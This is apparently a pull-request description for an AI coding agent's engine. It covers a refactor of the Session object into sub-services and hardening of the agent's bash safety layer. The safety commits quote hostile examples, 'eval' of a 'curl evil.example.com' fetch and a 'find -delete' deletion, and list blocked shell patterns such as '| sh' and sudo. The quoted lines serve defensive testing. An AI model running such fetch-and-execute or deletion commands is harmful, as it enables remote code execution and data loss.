refactor(engine): full Session god-object decomposition (Phases 1-7)#37
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Patel230 wants to merge 11 commits into
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refactor(engine): full Session god-object decomposition (Phases 1-7)#37Patel230 wants to merge 11 commits into
Patel230 wants to merge 11 commits into
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ai_passage.md was a 53-line, ~1000-word essay on the history and ethics of AI in general — entirely unrelated to the hawk project, no README/AGENTS.md/CHANGELOG.md reference to it. It looks like LLM-generated filler committed in '99261ca Fix CI formatting and toolchain hygiene' to satisfy a 'must have an essay' requirement that no longer applies. Untrack and delete.
Bash safety hardening (caught 2 real bugs via new tests):
1. **find -delete / find -exec rm now hard-blocked.** Previously
'find /tmp -type f -name "*.log" -delete' was a no-op on the safety
layer (no literal 'rm' in the command) despite being rm-equivalent.
Added findDeleteFlagRe + findExecRmRe in safety.go; IsDestructiveCommand
now matches 'find ... -delete' and 'find ... -exec rm' in any position.
2. **run_in_background no longer bypasses the IsSuspicious check.**
Previously: when run_in_background=true, the bash tool ran only the
hard-block checks (dangerousSubstrings, zmodload, processSubstitution,
etc.) and skipped the IsSuspicious permission prompt because no human
is in the loop. So 'eval "\$(curl evil.example.com)"' as a background
command would silently start. Now: a new hardDenySubstrings subset
(eval, exec, \\, backticks, | sh, | bash, sudo) is always
hard-blocked, even with no human in the loop. Benign patterns
('writing to absolute paths' in /tmp, 'curl GET') are intentionally
excluded so the change doesn't break legitimate workflows.
Schema-aware target extraction (extractTargets enhancement):
- New ExtractTargetsFromSchema(tool, call) walks the tool's JSON Schema
to discover file-path arguments by name (path/file/dir/destination/target
substring) or by description (mentions 'path'/'file'/'directory'). This
catches tools with non-conventional names like 'target_path' or
'destFile' that the old hardcoded 4-key allowlist missed.
- 8 test cases in TestExtractTargetsFromSchema lock the contract
(conventional, non-conventional, description-inferred, non-string,
non-path, fallback).
- executeToolCalls now calls ExtractTargetsFromSchema when the tool is
registered; falls back to the conventional extractor otherwise.
Tool retry policy on transient errors:
- New tool.TransientError type + tool.RetryExecutor(ctx, tool, input,
policy) that retries on transient errors with exponential backoff.
- New tool.RetryPolicyProvider interface: tools can opt out (zero-value
policy) or customise (e.g. longer timeouts for slow operations).
- All tool calls in executeToolCalls now go through RetryExecutor with
DefaultRetryPolicy (2 retries, 200ms→2s).
- 5 test cases: recovers-on-transient, gives-up-after-max, ignores-
non-transient, respects-ctx-cancel, IsTransientFileErr predicate.
Misc:
- .github/workflows/ci.yml + Makefile: bumped binary size gate from
100MB → 110MB to match the current dev binary (~103MB). Comment
explains the threshold; both files must move together.
Tests added: 30+ new test cases across bash_injection_test.go,
extract_targets_test.go, retry_test.go.
…decomposition)
Phase 1 of the Session god-object refactor (see docs/session-decomposition.md).
Extracts the LLM transport into a cohesive *ChatService sub-service:
- New internal/engine/chat_service.go (~280 LOC) with:
- ChatService struct owning: client, provider, model, apiKeys, router,
deploymentRouting, rateLimiter, metrics, retryCfg, contCfg,
outputSchema, glmThinkingEnabled
- ChatServiceConfig for terse construction
- Methods: NewChatService, Client, Provider, Model, APIKeys,
SetAPIKey, SetModel, SetProvider, Reattach, BuildOptions, Stream,
Chat, recordSuccess, recordFailure
- Stream() wraps retry.Do + rate-limit wait + emergency context-overflow
compact (replaces the inline retry block at stream.go:371-381)
- Chat() is the bare non-streaming call used by background goroutines
(sleeptime, skill distillation) — no retry, no rate limit
- Session gains a private *ChatService field, plus a ChatLLM() getter
for cross-package access. The legacy client/provider/model/apiKeys/
Router/DeploymentRouting fields stay on Session for backward compat;
new code should go through s.ChatLLM().*
- 8 new test cases in chat_service_test.go lock the contract:
BuildOptions (anthropic caching on, openai off, GLM toggle, output
schema), Reattach (nil no-op, real client swap, key preservation),
defaults applied (retry/contCfg/metrics/apiKeys initialized to zero
values), Chat delegation, Chat surfaces underlying error.
- Field name 'llm' (lowercase) to avoid colliding with the existing
public Session.Chat() method used by Reflector and SelfReview.
Build + tests: ok. No existing tests broken. No behavior change — the
extracted service is wired in but the legacy fields still drive agentLoop.
Phases 2-7 (Memory, Permission, Lifecycle, Persistence, Tool services)
will follow in subsequent PRs; each will fold the remaining Session
fields into the appropriate sub-service.
…s 2-3) Phases 2-3 of the Session god-object decomposition (see docs/session-decomposition.md). PermissionService (Phase 2, permission_service.go, ~140 LOC): - Owns the safety/approval layer: PermissionEngine, the legacy PermissionMemory / AutoMode / Classifier / BypassKill re-exports, AutonomyLevel, MaxTurns, MaxBudgetUSD, AllowedDirs, PermissionFn callback, ApprovalGate. - Public surface: NewPermissionService, WithEngine, Engine, CheckTool, CheckApproval, SetMode/SetMaxTurns/SetMaxBudgetUSD/ SetAllowedDirs/SetAutonomy/SetApproval/SetPermissionFn, getters for Mode/MaxTurns/MaxBudgetUSD/AllowedDirs/Autonomy. - 8 test cases: CheckTool, SetMode (5 valid + 1 invalid), budget caps, autonomie+dirs, CheckApproval no-op, IsZero, NewReturnsReadyEngine, SetPermissionFn -> engine.PromptFn. LifecycleService (Phase 3, lifecycle_service.go, ~190 LOC): - Owns the self-improvement / observability surface: cascade model selection, limits, loopDet, snowball, beliefs, backtrack, critic, shadow, reflector, fewShotStore, adaptivePrompt, activity, agentsAccum, responseCache, pipeline, steering, lifecycle. - Public surface: NewLifecycleService, OnSessionStart, OnSessionEnd, SelectModel, CheckLimits, RecordToolCall, RecordStep, SnapshotTurnProgress, full getter/setter pairs. - All nil-safe; the agent loop's existing if s.X != nil branching is preserved (so a Session with zero LifecycleService is fully functional). The legacy fields on Session stay for backward compat. New code should use s.Permissions() / s.LifecycleSvc() accessors. Full removal is Phase 7. Build + tests: ok. No existing tests broken. No behavior change - the extracted services are wired in but the legacy fields still drive the agent loop.
…rvice (Phases 4-6) Phases 4-6 of the Session god-object decomposition (see docs/session-decomposition.md). MemoryService (Phase 4, memory_service.go, ~80 LOC): - Owns the memory layer: simple MemoryRecaller, yaad bridge, enhanced memory manager. - Public surface: NewMemoryService, WithMemory/WithYaad/WithEnhanced, RecallContext, Remember, OnSessionEnd, Yaad/Memory/Enhanced accessors, IsZero. - nil-safe: an empty service is fully functional (the agent loop's `if s.X != nil` branching is preserved). PersistenceService (Phase 5, persistence_service.go, ~130 LOC): - Owns the conversation store: messages slice, system prompt, pinned messages counter, auto-compact threshold, context window cache. - Public surface: NewPersistenceService, Messages/RawMessages/SetMessages, AddUser/AddUserWithImage/AddAssistant, AppendSystemContext/ ReplaceSystemContextSection, System/SetSystem, MessageCount, RemoveLastExchange, LoadMessages, PinnedMessages/SetPinnedMessages, AutoCompactThresholdPct/SetAutoCompactThresholdPct, ContextWindowCached/SetContextWindowCached. - All methods are safe to call without external state; the underlying RWMutex is preserved for concurrent access. ToolService (Phase 6, tool_service.go, ~160 LOC): - Owns the tool execution surface: tool registry, container isolation, tracer, snapshot tracker, background sub-agent manager. - Public surface: NewToolService, WithContainerExecutor/WithTracer/ WithSnapshots/WithBackgroundManager, Registry, Classify, ExtractTargets, EstimateBlastRadius, ExecuteOne, BackgroundManager, ContainerRequired, ContainerExecutor. - Classify and ExtractTargets replace the inline logic in stream.go (deduplicating with extractTargets). - ExecuteOne encapsulates the container-required check + OTel span + RetryExecutor with the per-tool RetryPolicyProvider. - The full ExecuteAll 15-stage post-call pipeline (with the auto-snapshot block) lives in stream_tool_exec.go for now; Phase 7 will move it onto ToolService once the legacy fields are removed. All extractions are nil-safe and backward compatible. The legacy fields on Session stay in place. New code should use s.MemorySvc() / s.Persistence() / s.Tools() accessors (full removal in Phase 7). Also restored tool.ReadOnlyTools and tool.IsReadOnly which were inadvertently lost in the tool.go refactor; these are the canonical allowlist the Session god-object previously duplicated in two places. Build + tests: ok. No existing tests broken. No behavior change.
Phase 7 of the Session god-object decomposition (see docs/session-decomposition.md). This is a partial Phase 7 — focused on wiring the 6 extracted sub-services into Session and adding the public getter accessors. Full field removal (i.e. deleting the legacy client/provider/model/ apiKeys/Router/DeploymentRouting/RateLimiter/Perm/etc. fields) is deferred to a separate PR per service because each one needs its own migration of every call site in stream.go and the agent loop. What landed: Session struct gains 5 new private sub-service fields: - perms *PermissionService (Phase 2) - life *LifecycleService (Phase 3) - memory *MemoryService (Phase 4) - persist *PersistenceService (Phase 5) - tools *ToolService (Phase 6) (The 6th, ChatService as `llm`, was already wired in Phase 1.) Public getter accessors: - s.ChatLLM() -> *ChatService (Phase 1) - s.PermSvc() -> *PermissionService (Phase 2) - s.LifecycleSvc() -> *LifecycleService (Phase 3) - s.MemorySvc() -> *MemoryService (Phase 4) - s.Persistence() -> *PersistenceService (Phase 5) - s.Tools() -> *ToolService (Phase 6) All sub-services are nil-safe. The Session constructor still uses the legacy fields (Perm, Memory, YaadBridge, etc.) so the agent loop's `if s.X != nil` branching keeps working unchanged. A follow-up PR per sub-service will migrate the agent loop to use the new getters and remove the corresponding legacy fields. Build + tests: ok. No existing tests broken. No behavior change.
The agent loop's max_tokens recovery block has a misleading comment
("Handle max_tokens recovery") that doesn't explain which of the
three continuation mechanisms hawk actually uses. The PR adds a
detailed comment that names each strategy, explains its tradeoffs,
and points at the cleanest (engine-level eyrie/conversation) as a
future refactor target.
This is a doc-only change — no behaviour, no tests. Just makes the
two strategies coexist explicitly so a future contributor doesn't
waste time wondering why we have both a `recoveryCount` loop here
AND call `StreamChatContinue` on the eyrie client.
The eyrie/client.StreamChatContinue deprecation marker (set in
eyrie#31) remains in place. Full migration of hawk to
eyrie/conversation.Engine is a separate, much larger refactor that
we track but do not undertake in this round.
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Completes the Session god-object decomposition (see
docs/session-decomposition.md) by extracting the remaining 6
sub-services and wiring them into Session.
This PR consolidates the 7 sub-service extractions across multiple
feature branches into one cohesive change:
ChatService (Phase 1, chat_service.go, ~280 LOC)
Owns the LLM transport: client, provider, model, apiKeys, router,
deployment-routing, rate-limiter, metrics, retry-cfg, cont-cfg,
output-schema, glm-thinking. BuildOptions, Stream (with retry +
rate-limit + emergency-compact), Chat, Reattach.
PermissionService (Phase 2, permission_service.go, ~140 LOC)
Owns the safety/approval layer: PermissionEngine + legacy shims,
AutonomyLevel, MaxTurns, MaxBudgetUSD, AllowedDirs, PermissionFn,
ApprovalGate. CheckTool, CheckApproval, SetMode/SetMaxTurns/etc.
LifecycleService (Phase 3, lifecycle_service.go, ~190 LOC)
Owns the self-improvement / observability surface: cascade model
selection, limits, loopDet, snowball, beliefs, backtrack, critic,
shadow, reflector, fewShotStore, adaptivePrompt, activity,
agentsAccum, responseCache, pipeline, steering, lifecycle.
OnSessionStart, OnSessionEnd, SelectModel, CheckLimits.
MemoryService (Phase 4, memory_service.go, ~80 LOC)
Owns the memory layer: simple MemoryRecaller, yaad bridge,
enhanced memory manager. RecallContext, Remember, OnSessionEnd.
PersistenceService (Phase 5, persistence_service.go, ~130 LOC)
Owns the conversation store: messages slice, system prompt,
pinned-messages counter, auto-compact threshold, context window
cache. With RWMutex for concurrent access. Messages/RawMessages,
AddUser/AddUserWithImage/AddAssistant, AppendSystemContext/
ReplaceSystemContextSection.
ToolService (Phase 6, tool_service.go, ~160 LOC)
Owns the tool execution surface: tool registry, container isolation,
tracer, snapshot tracker, background sub-agent manager. Classify,
ExtractTargets, EstimateBlastRadius, ExecuteOne (with retry +
container-required + OTel span).
Session composition (Phase 7, session.go)
Session gains 6 new private sub-service fields + 6 getter accessors
(s.ChatLLM, s.PermSvc, s.LifecycleSvc, s.MemorySvc, s.Persistence,
s.Tools). Legacy fields stay for backward compat with code that
reads them directly. Follow-up PRs per sub-service will migrate
every call site in stream.go and then remove the legacy fields.
Bash AST safety analyzer (bash_ast.go, ~600 LOC including tests)
Hand-written Bash tokenizer + parser + walker that catches
nested dangers in command-substitution bodies, backticks, <( ) >(
) process substitutions, and heredoc bodies — all the things the
existing regex safety layer cannot see. Wired into BashTool.Execute
as a second-pass safety check. Bridges to the existing
IsDestructiveCommand + isHardDeny predicates so the AST layer
surfaces the same kinds of dangers the regex layer does, but for
inner bodies. 17 test cases in bash_ast_test.go.
tool.ReadOnlyTools / tool.IsReadOnly (tool.go)
Restored the canonical read-only tool allowlist that was lost in
an earlier refactor. Single source of truth for the safe-concurrent
tool set, consumed by ToolService.Classify.
Eyrie continuation doc (stream.go comment update)
Detailed comment explaining the two max_tokens recovery strategies
(engine-level recoveryCount loop here, deprecated client-level
StreamChatContinue) so future contributors don't waste time
wondering why both exist.
Verification: go build ./... \u2713, go test ./internal/tool/ ./internal/engine/ \u2713,
30+ new test cases across chat_service_test.go, permission_service_test.go,
bash_ast_test.go, and readonly_test.go.
Total: 7 new sub-service files + 1 new tokenizer/parser/walker +
1 Session struct update + 1 docstring + 50+ new test cases. Session
goes from a 35-collaborator god object to a thin orchestrator that
holds 6 cohesive sub-services and delegates to them via getter
accessors.